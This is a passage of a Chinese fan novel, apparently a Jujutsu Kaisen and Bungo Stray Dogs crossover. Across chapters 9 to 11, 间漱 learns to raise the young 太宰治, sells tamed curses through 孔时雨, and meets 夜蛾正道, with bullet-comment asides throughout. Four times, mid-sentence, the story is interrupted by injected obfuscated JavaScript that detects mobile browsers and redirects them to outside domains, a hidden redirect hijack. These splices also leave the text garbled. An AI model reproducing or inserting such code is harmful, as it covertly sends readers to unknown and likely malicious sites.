怎么看都是恶作剧,园长擦了擦不存在的眼泪,更正道:“幼稚园只欢迎三到五岁的小朋友,而这位……大朋友,很明显并不合适。” “是这样吗?”间漱站了起来,甚尔嘲笑着开口,“蠢货。” 【虽然早知道会有这幕, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16525087|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但还是允许我先哈哈哈哈哈哈。】 【这就是演技吗?要不是提前知道,这是间漱拉近和暴君联系的手段,我都快要以为他真的不知道,大人是不能上幼稚园的。】 【那个呆傻的表情演得太像了!虽然甚尔很无语,但是肯定觉得印象深刻。】 【不止是深刻——】 在弹幕的嘲笑中,间漱有些可惜的叹息一声,然后又不死心的询问:“那小学?” “……先生。”园长深呼吸一口气,“这位伏黑先生已经是能独立生存的成年人了!” 被“教训”一顿的间漱蔫蔫的,他的热情被打压,脸上都是失望。 看着这幕甚尔只觉得愉快,然后觉得这趟来得不亏。 因为下午的插曲,刚上学一天的太宰治,也得到了早退的机会。 离校前园长和几位老师一再强调,希望明天不会再看到成年人出现在教室里。 间漱伸出手想熟练的将太宰抱起来,但背着书包的孩子小跑几步。 “要牵手吗?”间漱伸出手,“可以牵手。” 那双眼中带着隐隐的期盼,有着黑色手套的隔绝,确实不用再担心异能生效。 但太宰治还是拒绝了:“你太高了,但是——我可以牵着你的袖子。” 这段时间的相处以来,太宰治已经摸清楚间漱的性格。 绝对、绝对不能和他来硬的,但是可以用更委婉,又或者以退为进的手段,来达到想要的目的。 间漱答应了,特地配合着小步伐的孩子放缓脚步。然后他又想去不远处尾随的另一人,于是也伸出手去:“要牵手吗。” 正在想事情的甚尔回神,他搓了搓手臂惊起一身鸡皮疙瘩:“真恶心,两个大男人牵什么手。委托结束了,我还有其他事情,所以这个东西能解开了吧。” 甚尔抬起手,在他的手腕上看似空无一物,但是只要出现逃跑或者违抗的动作,就会感觉到有丝线拉扯的感觉。 间漱这才想起这件事,于是抬手收回了缠绕的发丝:“其他事情是孔时雨说的……那个任务吗?我陪你一起去吧。” “不需要。” “可是很危险,我不能让你身处危险当中。” 那种丝线缠绕的感觉又出现了——甚尔“啧”了一声,然后无声的抗拒,并且暗地里将孔时雨骂了个遍。 两方僵持住,在沉默中太宰治适时开口,故意提问:“他是谁?” 间漱正想回答的时候,弹幕纷纷给出自己的答案。 【可怜的宰啊,是你爸在外面的私生子啊!】 【是你哥哥——不过不用担心,哪怕有其他孩子作为年纪小又听话的那个,你肯定是最受宠的!】 【难道不是因为年纪还小根本没办法反抗吗?】 【不对不对!凡事讲究先来后到,明明是宰先来的,所以应该是弟弟才对。不要否认我们小宰治在家里老大的地位啊!】 【有道理……所以是弟弟啊!】 【是弟弟。】 【对的是弟弟。】 弹幕的风向逐渐统一,所以间漱露出恍然大悟的表情,并且觉得这很有道理。 沉默几秒钟后,他一本正经的解释:“是你的弟弟。” 太宰治:……? 甚尔:…… 9.扉页的名字 晚饭后的休息时间,厨房里传来洗碗的声音。 坐在桌子前的人很认真,但这已经是他看着那笔记本空白扉页的第十分钟。 繁男说可以将本子当作日记本,但第一次拿着笔的间漱,却并不知道能写什么。 本子的扉页上,是龙飞凤舞的几个字、太宰间漱,那是赠送时繁男特地给他写下的名字。 所以思来想去,间漱仿造着那个笔记,在扉页下方一点的位置,也写了一遍自己的名字。 “你写的什么?名字?”一个毛茸茸的脑袋挤过来,乱步探头看了眼,然后哈哈大笑,“像毛毛虫在爬。” 空白的字上,是歪七扭八的字迹,只能勉强辨认形状。 从厨房出来的夫妻两人看了眼,繁男好心的安慰:“没事,慢慢学就好了。” “你这根本就不是写字,单纯是仿造外形画出来的吧。”乱步一边说,一边抢过笔,“看我的。” 自信满满的少年半眯着眼睛,在另一个位置写下同样的四个字。 虽然落笔的笔画是正确的,但横撇之间并没有太大的联系——简而言之是同样的难看。 乱步沉默了,太宰治扒在桌子边缘,下一秒被抓住手上塞了笔。 “你来。”乱步咳嗽一声,“咳咳,肯定是因为我太久没有写字了,不过间漱的字那么丑,小孩子的字都比你好看。” 太宰治仰头看了眼,倒是没有拒绝,只是握笔在更角落的位置落笔。 “不错不错,虽然只上了一天学,但是写字已经有模有样了。”繁男点头夸赞,然后又兴致勃勃的转移话题,“每个人的字迹都不同哦,可以根据这个来判断犯人是谁。” 看着有些许郁闷的儿子,繁男抬手招呼:“对了,既然大家都写了,那妈妈也来吧。” 菊擦干手里的水,在丈夫的旁边写下间漱的名字。那是更小巧、娟秀的字迹,落在纸上确实各有不同。 间漱观察着,然后学习其他人握笔的姿势,在第二页后面写下今日的见闻。 他确实不会写字,但也磕磕绊绊写了大半页。好奇的乱步探头看了眼,然后摇摇头发现一个字都不认识。 夜更深的时候,随着房间里最后一盏台灯的熄灭,所有人陷入安睡当中。 平躺在床上的间漱睁开了眼睛,确定身边人睡熟后,才从窗户翻了出去。 晚上就应该躺在床上睡觉才对,但作为靠谱的父亲,间漱也不能让孩子一个人冒险。 就当时唯一的一次破例好了。 夜晚的城市并没有那么安静,至少在这条鱼龙混杂的街上是这样。 这里的咒灵很常见,间漱挑挑拣拣带走了,街上一些不起眼的咒灵。 暗杀的任务完成的很顺利,瞪大眼睛的被害人再也没了开口的机会。伏黑甚尔吐出一口气,对一直尾随的男人翻了个白眼。 他没想到间漱白天不止是说说而已,这家伙十分敏锐,跟上来也甩不掉,简直就是麻烦透顶。 所以伏黑甚尔赶快做完了任务,只希望这个瘟神能快一点离开。 不远处的间漱,并不知道甚尔的想法,他只记得孔时雨说咒灵很值钱,所以难得来到诅咒这么充盈的地方,此时正沉迷收集它们。 “啊!”一声尖叫响起,搂搂抱抱的男女被打扰好事,于是开口骂道,“鬼啊,你哪里来的?!” 走出很远的甚尔扯着嘴角,他有些不想搭理,但想起孔时雨的话,又捏着鼻子回去将人拽走。 “那里是巷子,不算是别人家。”间漱解释,“我并没有闯入别人的住宅,他们没有道理赶我出去才对。” “我不想和蠢货解释。”甚尔抱着手臂,强忍着不耐烦,“今天之后,你亲自去和孔时雨说,再把我的情报卖给你,我就让他永远闭嘴。” “孔时雨说只要花钱,谁的情报都能买到。”间漱解释,“还有,我很担心你,暗杀的任务太危险了。” 甚尔沉默了,他开始反思自己为什么要和蠢货讲道理。 “明天的任务也一起吧。”间漱看了眼笔记本上的待办事项,一抬头发现甚尔已经走出很远。 这并不是两人的第一次合作,被敲打一顿的孔时雨,也只是报更高的价格,让挑剔的甚尔接受了这个“拖油瓶”。 熬夜完成任务后,间漱将收集的诅咒送去了事务所,然后赶在天亮之前躺回床上。 他的速度很快,没有耽误早上七点半喊太宰起床。 餐桌上的太宰治面无表情看着那杯热牛奶,眼睛转了转后看向对面的乱步。 两人对视一眼,而后凑在一起小声的谋划。 厨房里的菊忙碌着,繁男则早早出了门。等到间漱拿到中午的便当时,却发现原本在位置上的人消失不见。 “太宰啊?”乱步叼着面包片,“他刚刚背着书包出门了,应该是先上学去了吧。” 间漱相信了,不过有些不理解,为什么太宰不让他送去学校。 直到—— 【哈哈哈哈哈,哪怕是小宰治,也会有逃学的一天啊。】 【噗嗤,两个剧本组居然在这里谋划怎么逃学?宰根本就没出门,而是从窗户翻出去了!】 【名侦探你撒谎能再自然一点吗?眼睛不要一直看窗外啊。】 弹幕都在乐呵呵的讨论,哪怕如太宰治这样的人,在小时候居然也会有逃避上学的黑历史。 间漱顺着提示,在花园的角落找到人。太宰治抱着书包蹲在角落,鸢色的眼中满是失望。 “呀,这是?”菊刚脱下围裙走出厨房,看到的就是父子僵持的一幕。 “我不去!”太宰治抗议,“你是报复吗?不、我根本就没有得罪你的地方,你这是折磨人。” 对面的间漱没有解答,只是直接拽着太宰治的胳膊,将人直接扛在肩膀上。 看着走出很远还在抗议的太宰,菊无奈的摇摇头,然后扭头笑眯眯的,抓住想要偷溜上楼的人:“乱步?” 乱步被逮到按着坐下,他竖起手指保证:“我再也不配合他撒谎了!” 菊看着儿子叹息一声,她并没有责怪,只是揉了揉乱步的脑袋:“你觉得他真的是讨厌上学吗?” “我不知道……”乱步诚实的摇头,“我看不懂他。” “阿治他啊,只是在害怕而已。”菊耐心的解释,“他害怕这些迟早有一天会失去,害怕这样平淡又寻常的日子会有结束那天。” “他还只是孩子,需要有人能坚定的告诉他不用害怕。而间漱他……只是还在学习要怎么做好父亲而已。” 乱步此时无法理解这些话,他只是若有所思的点头:“我觉得太宰他,现在并没有一开始那样讨厌间漱了。” “是啊,阿治是一个胆小的孩子。” ———— 太阳花幼稚园,园长亲自在校门口迎接。 没有看到那个一看就不好惹的男人,园长大大松了口气,并且对间漱表达了感谢:“谢谢您的理解!” 间漱看着面无表情盯着他的太宰治,拍了拍手上的灰:“没事。” 临走前他又想起什么,特地喊住了园长:“对了,小宰治书包里有便当,学校的包餐就不用了。” “怎、怎么了吗?”园长有些惴惴不安,“是哪里做的不好吗?” 间漱沉默了片刻,然后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16528451|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半闭着眼睛摇摇头:“我们孩子吃完都打人了。” 园长:?!! 早上九点,正式开始上班的时候。 按照孔时雨给的地图,间漱开始满大街的游荡。然后将“调伏”过的咒灵,分批送到事务所。 说是调伏也不对,只不过留下一些东西在它们身上,保证它们不会失控而已。 所以根本做不到孔时雨说的,能够听从购买者的命令。因为它们本来就听不懂人话,能做的也只有放开禁锢,然后大肆破坏一番。 但这好像本来就是购买者所需要的。 “一开始的试用期过后,大部分顾客都选择了回购。”翻着文件袋孔时雨感叹,“确实是很方便的术式,不过有些低级咒灵损耗很快,你有办法捕获更多的高级咒灵吗?” 正在看书的间漱并没有回答,他每天固定只工作三小时,其他时间都在事务所看各种借来的书。 “需求量越来越大了,知情人也会帮忙宣传,所以供不应求。”孔时雨又开口提醒,“这是很划算也很赚钱的买卖,并且只有我们独一家提供,如果有稳定的货源提供……” “间漱?你在听吗。” 间漱这才慢吞吞的回神,他皱着的眉,因为笔记本上最后一个字落下而舒展:“写完了。” 孔时雨走过来看了眼,他注意到间漱花了很多时间去写这个……符咒? “这特殊的纹路,对咒灵有用?” “是我的日记。” “……抱歉。” 【虽然但是……好好笑啊!哈哈哈哈哈,鬼画符的现实版吗。】 【孔时雨我承认你的嘲讽很有用了,是报复吗?绝对是报复间漱之前对你的恐吓吧。】 【说不定是密文,毕竟高手都有自己的秘密,这肯定是暗号!】 【是那种:我不希望有人得到它后能直接看懂?哈哈哈,这个字自己能看懂吗?】 【老实说,只是单纯的字丑吧。】 间漱假装看不到弹幕的嘲笑,咳嗽一声后合起笔记本:“我要去接孩子放学了,明天见。” 现在才下午两点,根本就不是接孩子的时间吧…… 孔时雨摸了摸下巴,感觉间漱能选择性屏蔽自己不感兴趣的话。这样想着,他试探着开口:“我没记错的话,你的孩子好像叫太宰治?” 而果然像他猜想的,原本抬脚都快走出去的人,立马站定然后折返。 间漱又坐了下来,他点点头:“是的,他很听话,去幼稚园上学也没有哭。” 提到孩子面前人的表情和反应都生动了,孔时雨微不可察的叹息一声,然后顺着话题说:“是吗,有机会能见见这个乖巧的孩子就好了。” “会有机会的。”间漱说完,又掏出怀里的笔记本,指着扉页角落的字说道,“这是他写的名字,会写字哦,很厉害吧。” “嗯……确实很厉害。” 孔时雨觉得有些恍惚,间漱的话很少,所以只能他主动提问然后得到回答。 又两个小时后,孔时雨捂着脸说:“啊,时间差不多了,那就不打扰你去接孩子了。” 间漱又一次道别,他很满意,因为街边的那些老人也是这样和其他人讨论自己的孩子。 他模仿的简直太像了。 路上并没有耽误时间,所以在刚放学的时候,间漱就准时守在门口。 但这次他并没有顺利接到孩子,反倒被园长和两个老师围住。 其中一位更年长的女老师,痛心疾首的对间漱说道:“太宰先生!你怎么能这样虐待孩子呢?!” “虐待……我吗?”间漱呆愣着开口,“我吗?” 10.会一直学习 办公室里响起控诉声,而被质问的人一脸茫然。 没人能看出间漱的迷惑,因为那张脸上并没有什么表情,只有眉头微微蹙着,似乎有些“不耐烦”。 但靠谱的老师、尤其是那位年长的女性,似乎对于虐待孩子这点无法接受。 “太宰小朋友本来就是单亲家庭,作为爸爸,你怎么能忽视他呢?”女老师言辞恳切,眼中带着不满,“这个年纪的小朋友,对他们应该更有耐心和爱啊,打骂这种情况,是绝对不能出现的!” 间漱依旧没能理解,因为他根本没做过这些,又或者没意识到自己做了这些。 “我看到他手臂的淤青,还有一些老旧的疤痕,这难道不是虐待的证明吗?”老师越来越气愤,“太宰先生!请不要沉默!” 【我猜、嗯——我想,这大概是某人的超绝报复心吧。】 【有点太好笑了,是为了报复早上强行送他上学,所以在老师面前添油加醋说了什么嘛?】 【根本不用那么麻烦,拿捏好心的老师对宰来说,简直是轻而易举。】 【哈哈,现在要想想怎么和老师解释了,加油间漱。】 【加油,努力证明自己吧!】 养孩子的方式被质疑了——间漱有些失落,他不明白老师为什么这么生气,但是第一反应是道歉。 “对不起,请告诉我应该怎么做。” 【噗嗤,好直白的说法。】 【嘛,说到带孩子幼稚园的老师肯定是专业的,不过宰也不能算普通孩子。】 看到良好的态度,老师似乎稍稍消气了,脸上的表情变得严肃:“对孩子要有耐心,要全心全意的爱着孩子,但更重要的是,要让他感受到。” “太宰小朋友和其他小朋友并不亲近,他总是独自一人,这里面的原因,肯定是因为太过孤独吧?”老师猜测着,脸上闪过疼惜,“作为爸爸,你应该多多陪伴他。” 间漱认真听着,同时熟练的掏出笔记本记录。 “这个年纪的小朋友需要同龄的朋友,你可以多带着他出去社交,认识更多的朋友。” 唰唰唰,空白的纸上飞快填满。 “还有啊,要多听听孩子的想法……” “另外……” 又两个小时后,经过长篇大论的讲解,老师终于长出一口气。 因为间漱配合又认真的态度,老师和园长勉为其难的原谅了这位粗心的爸爸:“就是这样,如果遇到问题的话还可以问我们。” “好的。”间漱记下联系方式,并且觉得从中学习到很多。 随后他终于见到了被另一个老师牵着的太宰治,后者别开视线表情有些不对劲。 “回家吧。”间漱站着不动,而一边的老师却用眼神暗示他。 于是间漱走过去蹲下身,以平视的角度看着太宰治:“今天上学也辛苦了,我们一起回家吧。” 太宰治扭头看了眼其他老师,在那些鼓励的眼神中,有些抗拒的牵住伸来的手。 因为耽误的太晚,晚饭便在外面解决。太阳彻底落下山,长长的一条泥土路上,再看不到其他路过的人。 后面间漱直接将太宰背了起来,他走的很慢,学着那些老师给的意见,询问后者今天上学做了什么。 太宰治起先很安静,但耐不住有人一直问,所以也用简短的话,给出了无聊的回答。 “是吗,听着很有趣。”间漱回以评价,然后又问,“那明天还去上学吗。” 这次太宰治没有立马回答,他只揪着间漱的衣领,在沉默许久后询问:“你不问我吗。” “问什么?” 【当然是问他为什么要和老师告状啦,笨蛋间漱故意反问,想让宰自己坦白吧。】 【多么温馨的父子相处画面,不过本来以为间漱这样冷酷的性格,会是直接摊开处理、比如孩子不听话就打一顿的严父呢。】 在长久的沉默中,只有弹幕还在一条条的活跃气氛。间漱思考了很久,最终选择了坦白。 “我在学习,学习怎么当一个爸爸。”间漱看了眼阴沉的天空,“不过我觉得你也要学习一下怎么当孩子,因为你从来不喊我爸爸。” 太宰又不说话了,他觉得这个问题不像是正常人会问的。 眼前是柔顺的黑色长发,太宰治伸出的手最后还是克制着没有触碰。许久他低头用额头靠着间漱肩膀,很小声的说了句:“骗子。” “只不过是拙劣的模仿……你连什么是爸爸都不清楚。” 很轻的话,好像要被风吹散了,但间漱凭借着良好的听力,还是将它们收入耳中。 随后他思考着,给出自己的回答:“爸爸要关爱孩子,要永远保护孩子,但是不能无条件答应孩子的要求,因为你还没办法判断是非对错。” “你就能判断了吗?”太宰治很直白的反问,间漱沉默了两秒钟,“我会学习。” 人类的世界还是太过复杂,学习是一条很漫长的路。 经过和老师的会谈,间漱将更多的时间投入到太宰治身上。 他开始和菊一起在厨房忙碌,学着怎么制作营养丰富的便当。 “学的很快啊,已经很有模有样了。”繁男探头看了眼,看着两份差别不大的便当夸奖道,“对了,周末那家游乐园很热闹,要不要去玩?” 想起老师说的要更多陪伴孩子,间漱点点头答应下来:“要去。” 接下来的一天也按部就班,将太宰治送去学校后,间漱用更快和更多的时间,在一天内完成了几天的工作。 看着这样的效率,孔时雨以为间漱将自己说的话听进去了:“辛苦了,不过也不用这么拼命。” “我接下来几天不会过来了。”间漱特地解释,“下周一见。” 孔时雨扯着嘴角,多嘴问了句:“你最近的名声越来越大了,居然不抓住这个机会赚钱吗?有什么比这个更重要的事吗。” “当然。”间漱点了点头,亮出自己刚买的书,“我要学习。” 看着那几本书,孔时雨突然沉默了。 《拒绝暴力沟通》、《做不焦虑的父母》、《好妈妈胜过好老师》…… “谁给你推荐的?”孔时雨摸着下巴,“你这、嗯……确实是很称职的爸爸,比甚尔要好多了。” “请不要这样说甚尔。”间漱认真反驳,“作为父母,应该肯定孩子而不是贬低。” “好吧,希望你能学到东西。” 间漱再一次道别,然后拎着沉甸甸的离开事务所。不过看完这些书并不麻烦,麻烦的是如何运用它们。 在和菊经过一下午的讨论后,间漱终于找到一些头绪。 晚饭依旧是色香味俱全的搭配,不过看着穿着围裙,十分殷勤站在身边人,太宰治只拿着勺子一动不动。 “我不需要喂饭。”太宰治再三拒绝,“不需要。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16538246|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 间漱有些失望,然后只能坐下:“好吧。” 虽然拒绝了喂饭的提议,但坐在身边的人一直紧紧盯着他。太宰治没了进食的欲望,草草吃了两口就下桌:“我吃饱了。” 菊有些欲言又止,尤其是看着间漱丝毫没觉得自己有问题时,她觉得这就是最大的问题了。 洗漱过后的上床时间,间漱拍了拍身边的位置,然后用圈抱的姿势坐在太宰身后。 那是一本颜色丰富的绘本,讲的是蒲公英离开妈妈去旅行的故事。 读睡前故事也是不可或缺的亲子互动,间漱很投入也很认真,只有太宰治听着那毫无情绪起伏的声音,眼神放空思绪不知道飘去哪里。 他后悔了,故意让老师曲解,是为了小小的报复一下间漱,但是没想到反而会让后者更黏他。 如果可以回到过去的话,太宰治一定不会再做多余的事情。 一场突然的夜雨,带来更加凉爽的气温。 早就约好的游乐园游玩日,也因为这连绵不断的雨而搁置。 间漱看着窗外的雨伸出手,湿润的雨落在掌心,带来令人愉悦的感觉。 待在家里的一天也并不会无聊,繁男和菊研究着新甜品苹果派的做法,乱步坐在地上翻看着新出的漫画。 被间漱追着的太宰治从房间到客厅,最后坐在乱步身边,明确表示:“我认识字,所以你去厨房帮忙吧。” “菊说不用我帮忙。”间漱跪坐着,手里拿着一本绘本,“还有这本书没读完,你昨天晚上说等下次的。” “下次是下次,不是你睁开眼睛睡一觉就算是下一次了。”太宰治强调,乱步撑着下巴看好戏,“间漱也是好心,你怎么能拒绝呢。” 得到认可的间漱满意点头,然后将手里的绘本摊开:“很久之前——” “铃铃铃” 一阵突兀的手机铃声打断间漱的话,太宰治松了口气,像是看到救星那样。 间漱接听了电话,那边的孔时雨丝毫没有打扰到人的愧疚。 “在东区11街发现一只一级咒灵,这很少有,所以有一名客人特地点名要求。”孔时雨说出来意,“这只咒灵的能力很特殊,所以加了三倍的价钱。” “我拒绝。”间漱很干脆道,“现在是周末,是休息时间。” “我当然知道。”孔时雨的话一顿,然后一改口风,“但是做完这一票你得到的钱,足够休息大半个月。用一天的加班,换来半个月的休息,这样也能陪孩子更久不是吗?” 间漱心动了,眼神看向太宰治。后者猜出这通电话的来意,于是立马配合的点头。 “要是能吃到那家新出的甜品就好了,据说很难抢的。”太宰治眼睛一转,用甜点将乱步拉入同一条战线。 果不其然乱步立马坐直身,点点头十分赞同:“对啊,工作这样重要的事情怎么能耽误呢?快去吧,爸爸也会有需要加班的时候,这很正常!” 在两人的游说下间漱答应了,那边的孔时雨好像也松了口气。 “对了,虽然对外隐瞒了你的身份和长相,但那些咒术师的嗅觉还是太灵敏了。”孔时雨好心的提醒,“这次很有可能会遇到调查的咒术师,最好避开他们。” “好。”间漱答应下来,“除了栗子蛋糕还要什么。” 听着那边间漱和孩子的对话,孔时雨捻灭指尖的烟。 这家伙到底有没有在听他说话啊?! 11.靠谱的老师 连绵的细雨,终于在下午的时候短暂停歇。 本应该热闹的商业街上,今天却拉上长长的禁戒线,侧面的出口禁止通行,但还是有不少人围在外面的空地上。 有人声音哀切,说着:“他就在里面啊!我亲眼看着他走进去的,怎么会不见了啊!” “求求你们了,救救我的孩子。” 穿着黑色西装的两个男人拦在最前面,他们表情为难的劝道:“这座商场有维修故障,但是我们肯定会尽全力将人带出来的。” 从外表来看,那栋建筑并没有什么不同。但有一层无形的屏障,挡去里面肆虐的黑色物体。 偌大的建筑上有东西盘踞,从外表来看那是一个大家伙,也就是此行的目标、那个一级咒灵。 间漱站在街对面看了许久,并不是他不想靠近,而是因为想进去的时候被拦了下来。 “请不要给我们添麻烦了,这位先生。”有一个男人这样说道,“虽然能看出您拥有咒力,但是……您并非是咒术师吧?” 说话时男人语气委婉,但表情已经带上狐疑。他们已经怀疑,拥有咒力又来历神秘的男人,会不会是带来这些灾难的罪魁祸首。 当时间漱并没有解释,虽然他不承认自己是诅咒师,但一直以来做的事情,好像又是诅咒师才会做的。 “你好,请问需要帮助吗。”一个声音试探着开口,“我看你在这里站了许久,是发现了什么吗。” 开口的男人也是一身黑色西装,留着修剪整齐的胡子、身材魁梧,挎包一侧别着一个可爱的毛绒玩偶。 【出现了!是我们的靠谱成年人夜蛾正道!话说去引起窗的注意,让他们误会是诅咒师,果然是故意的。】 【哼哼,这样一看我们也能跟上间漱的思考了。是早就知道,负责这次任务的是夜蛾老师吗?】 【肯定是这样,但夜蛾老师毕竟是咒术师,间漱要怎么解释自己诅咒师的身份呢?】 并不是故意的——只是下意识就想走正门而已,间漱面不改色的想着,看弹幕对男人的称呼为“老师”,他的脸色也相对缓和。 在学习怎么伪装人类的路上,间漱对每一个老师都抱有友善的态度。 所以他并没有无视,而是思考着给出回答:“他们不让我进去。” 年轻的男人一本正经道,夜蛾正道有些欲言又止,最后还是耐心询问:“那么你要进去做什么呢?那里面很危险。” 间漱扭过头,光明正大对上那怀疑的打量:“我想要那里面的东西。” “为什么呢?” “因为咒灵很赚钱,养孩子需要很多钱。” 很朴实无华的解释,也侧面证明了他诅咒师的身份。夜蛾正道一时觉得有些心情复杂,为对面男人的坦诚,以及察觉到的那细微的不对劲。 是为生活所迫,所以才干了这行吗…… “想要调伏咒灵吗?你的术式,是能操控咒灵吗。”夜蛾正道假装随意的说道,但他也清楚这样直白的询问,会让面前人心生警惕。 “是的。”间漱点点头,然后听出夜蛾正道的话外之意,“它是无主的,不是吗?” 夜蛾正道愣了一下,然后下意识解释:“不,我并没有抢夺它的意思……消灭咒灵是我的任务,我是夜蛾正道,一位咒术师。” 听到咒术师的名号,男人的表情也没有丝毫变化。夜蛾正道大致确定了,面前黑色长发的男人,就是他这段时间在寻找的“咒灵猎手”。 从一个星期前,各地的咒灵暗杀事件便直线上升,根据调查发现,是有人操控咒灵犯下这些惨案。 但事故发生地点随意且分布广泛,推测中那位造成一切的诅咒师,做不到频繁的活跃在各地。 所以这一继续调查,就发现了暗网上明码标价售出的“诅咒”。 宣传的是诅咒完全可受控制,所以购买者才能如此随意的,利用咒灵夺走其他人的性命。 随着售出的咒灵越来越多,如果不加以管控,一定会发生更加严重的动荡。 而夜蛾正道作为一级咒术师,负责接手了这件案子。 “能控制咒灵的术式很少见,我有一位学生的术式刚好就能操控咒灵。”夜蛾正道假装不经意道,“他对你很感兴趣,有机会的话应该介绍你们认识认识。” “少见吗?”间漱眨了眨眼,否认了这句话,“控制它们很简单,只需要这样、再那样。” 这是在传授诀窍吗?但是没有相同术式的话,根本就学不会吧……夜蛾正道本想用众所周知的事情,试探面前人对咒术师的了解。 但从那个反应来看,完全就是—— “你知道诅咒师代表着什么吗?”夜蛾正道微微皱眉发问,“我……抱歉,我多嘴了。” 间漱没有回答这个问题,他看着有些苦恼的夜蛾正道,十分自然的求助:“我想要进去。” 在夜蛾正道还困惑的时候,间漱又接着说道:“你能带我进去。” 这些都是弹幕透露的,整栋建筑都被透明的屏障所笼罩,而只要跟着夜蛾正道,就可以走正门进去。 夜蛾正道一愣,原本到嘴边的话也咽了回去。他对面前男人生出了更多的好奇,于是思考过后并没有拒绝:“可以,但是你要答应我一个条件。” —— 拥挤的人群散去一些,只有几个面露悲痛的家属,依旧执着于守在门口。 警戒线前,看到走来的夜蛾正道,留守的窗松了口气:“夜蛾先生,看到你来真是太好了。还有这位是?” 又看到闹事的人,窗是有些疑惑的。虽然路过的人很多,但是板着脸强调自己一定要进去的男人,给他们留下了很深的印象。 “算是帮忙的助手。”夜蛾正道稍作解释,“辛苦了,接下来交给我们就好。” “这样啊。”窗露出一个微笑,“不好意思刚刚误会你了先生,有你们在我就放心了。” 【什么?我好像错过了什么?】 【不是才过去半小时吗,怎么就从被怀疑的诅咒师,变成夜蛾正道亲口认可的助手了?你这阵营转变的也太轻松、也太快了吧。】 【前面的一看就是新来的,这对间漱来说,简直是常规操作啊。】 【就是就是,老人已经习以为常了,新人还在大惊小怪。】 警戒线拉开一条缝,但原本楼梯上坐着的男人,看到两人要进去立马连滚带爬的过来。 “你们就是专业人员吗?”男人擦了擦额头上的汗水,颇为急切道,“我的弟弟和侄女还在里面啊,求求你们了,一定要将他们带出来。” 其他原本分散的家属,听到声音也立马爬起来想要围过来。见状窗重现拉起警戒线,安抚再次躁动的人群。 夜蛾正道开口宽慰:“我们会尽力的。” “尽力?尽力……只是尽力吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543402|186093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”精神长时间紧绷的男人,好像找到了发泄的缺口,“你们不是专业的吗!就应该保证一定将人带出来啊!” “搞什么啊,什么叫做尽力?不要一副很为难的样子,拿了救助的钱,就给我踏踏实实的做事啊!” 面对无端的指责,夜蛾正道并没有说什么,但间漱沉默了几秒钟,然后突然的开口:“你为什么不自己去。” 原本气势汹汹的男人一愣,然后依旧嘴硬的反驳:“我当然想去,但是不行……你们收了钱就要做事!” “你有手有脚,没有受伤也恢复了体力,为什么不去?”间漱发问,眼睛上下扫过男人,“你也是从里面出来的,应该见过那个东西才对,明明更有经验,为什么进去的不是你?” 想起那种诡异的感觉,男人顿时失去了纠缠的力气,他趔趄几步,嘴里喃喃道:“做不到……做不到的。” 【好骂!早看这些人不顺眼了,什么叫做收了钱啊。】 【咒术师在背地里用生命保护普通人,才不应该被误解谩骂,间漱骂得太好了。】 【就是说,他们做了那么大牺牲,凭什么要默默无闻啊,他们就应该是大家敬仰的英雄才对。】 【赞同,好犀利的话,间漱简直说出我们的心声。】 骂人吗?间漱很想否认,他并没有责怪这个男人的意思,只是实话实说而已。 夜蛾正道默默观察着,对于突然安静的间漱他有些不明所以,但还是提醒了句:“里面很危险,你确定了要进去吗?” “嗯。” 进入帐后,就是和外面截然不同的氛围。 空无一人的大楼,一切还维持着原本的摆设。但入眼是黑压压的色调,四处弥漫的深色雾气,就连空气都好像不流通了。 身为一级咒术师,夜蛾正道有应付的把握,但就在进入的那瞬间,他敏锐的察觉到不同。 在又一次路过同一家店铺门口,他才恍惚反应过来,这栋大楼里面已经变得如同迷宫一般。 “小心,我们最好不要走散。”夜蛾正道警惕道,而后从挎包里掏出一个“玩偶”,“让它待在你的身边,关键时候可以带路和保护你。” 那是一个圆滚滚的,长得很像乌龟的玩偶,弹幕解释这是注入咒力就能活动的咒骸—— “很可爱。”间漱评价道,在这样严肃的气氛下,突然抛出一个问题,“要怎么制作它们?” 